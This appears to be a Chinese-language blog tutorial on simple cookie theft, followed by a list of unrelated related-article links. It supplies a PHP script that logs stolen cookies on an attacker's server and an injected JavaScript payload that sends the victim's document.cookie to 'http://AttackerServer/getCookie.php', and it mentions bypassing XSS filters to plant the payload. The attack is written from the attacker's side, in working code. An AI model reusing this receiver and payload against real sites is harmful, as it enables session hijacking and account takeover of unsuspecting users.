此文需要有一定的javascript\html\php方面的只是作为基础

直接上代码:

#用于抓取盗窃来的cookie的php文件,此文件需置于攻击者的服务器上,这里包含了两种写法:Method1和Method2
#保存为getCookie.php
<?php #Method 1 // $info=getenv("QUERY_STRING");
// if ($info)
// {
// # code...
// $info=urldecode($info);
// $fp=fopen("info.txt","a");
// fwrite($fp,$info."\n\n\n\n");
// fclose($fp);
// } #Method2 $cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log); ?>

接下来需要再被攻击者的服务器页面上注入一段javascript代码,用于将被攻击者的cookie传送到我们的服务器上

<script>
document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
</script>

当被攻击者的浏览器加载了被恶意注入的代码后,就会向攻击者的服务器发送自己的cookie,从而达到了盗取用户cookie的目的

*注:当你浏览某个需要登陆的页面(比如论坛)时,在登录之后,把地址栏清空后在地址栏里写入javascript:alert(document.cookie)。你就会看到这个登陆页面在你计算机里保存的cookie。

解析:

可以看到,两种方法写的盗取cookie的攻击者脚本并不难,仅仅只做了一个接收参数,保存为文件的工作。

cookie盗取真正难的部分应该还是在于,如何向被攻击者的页面注入这段javascript脚本。这就要借助XSS跨站脚本攻击的一些手法,在对方管理员做了严格限制的情况下,需要想办法绕过XSS的过滤,才能使我们的cookie盗取奏效。

简单的cookie盗取的更多相关文章

  1. js简单操作Cookie

    贴一段js简单操作Cookie的代码: //获取指定名称的cookie的值 function getCookie(objName) { var arrStr = document.cookie.spl ...

  2. 简单的cookie读写封装

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  3. 简单的cookie使用

    <html><head><script type="text/javascript">function getCookie(c_name){if ...

  4. 简单封装cookie操作

    1 //设置cookie 2 function setCookie(name, value, day) { 3 var oDate = new Date(); 4 oDate.setDate(oDat ...

  5. 简单的Cookie登录

    登录页前台代码 <form id="form1" action ="" method="post"> <input typ ...

  6. 正则简单操作cookie、url search

    正则操作cookie.url getCookie function getCookie(key) { var cookies = window.document.cookie, reg = new R ...

  7. Vue router拦截 如果用户并未登录直接跳转到登录界面(最简单的cookie演示)

    router.beforeEach(function(to,from,next){ console.log('路由拦截') console.log(to.name) console.log(from. ...

  8. 简单的Cookie记录浏览记录案例

    books.jsp 界面 代码 <%@ page contentType="text/html;charset=UTF-8" language="java" ...

  9. Java用Cookie简单限制点赞次数

    楼主最近在搞一个当下比较流行的点赞功能,这个功能也是让程序员又爱又恨啊 说起爱,点赞是个社会化的动作,全民都在为美好的事情,行为,动作,点赞. 说起恨,你很难在用户没有登录的情况下限制恶意点赞的机器人 ...

随机推荐

  1. 【c++ primer, 5e】参数传递

    p187~p199: [传值参数] [传引用参数] 使用引用形参返回额外信息:传入一个(或者多个)额外的引用实参,令其保存字符出现的次数. 6.11 #include <iostream> ...

  2. RabbitMQ 高级指南

    1 RabbitMQ 简介 1.1 介绍 RabbitMQ 是一个由 erlang 开发的基于 AMQP(Advanced Message Queue)协议的开源实现.用于在分布式系统中存储转发消息, ...

  3. Tomcat的工作模式和运行模式

    (1)工作模式 Tomcat作为servlet容器,有三种工作模式: 1.独立的servlet容器,servlet容器是web服务器的一部分: 2.进程内的servlet容器,servlet容器是作为 ...

  4. Python3.x:logging模块对运行过程记录

    Python3.x:logging模块对运行过程记录 示例: import logging # 设置 logger = logging.getLogger() #set loghandler #默认路 ...

  5. slf4j和log4j、logback

    现在主流java项目一般使用slf4j+log4j的日志方案,最近抽点时间扫了一下slf4j.log4j.logback的官方文档,做个笔记.这篇比较不打算描述具体的配置方法,因为官方文档已经讲得很清 ...

  6. AD9361

    AD9361框图   1. Fir滤波器的阶数为64或128 而内插或抽取因子为:1.2或4. HB1和HB2的内插或抽取因子为1或2而HB3的因子为1.2或3 BB_LPF为:三阶巴特沃斯低通滤波器 ...

  7. LCD1602

    一.关于LCD1602: 在编写LCD1602程序前,我们必须了解其手册上一些非常重要的信息,如果这些信息不能理解透彻,编程可能会遇到或多或少的问题,在此先大致归纳几点. 1.管脚: 1602共16个 ...

  8. angularjs中的jqlite的认识理解及操作使用

    刚了解angularjs时,就知道它有个内嵌的轻量级的jquery:jqLite,那时候常于jQuery分不清,其实它们是不一样的.jqLite中,通过angular.element(param)获得 ...

  9. ubuntu下wget的配置文件在哪里

    答:/etc/wgetrc 这个文件里可以指定代理,如: http_proxy = http://myproxy.com:8080

  10. Spring Container的扩展点

    转自: http://blog.csdn.net/kkdelta/article/details/5488430 Spring在解析完配置文件后,会调用一些callback方法,使用Spring的开发 ...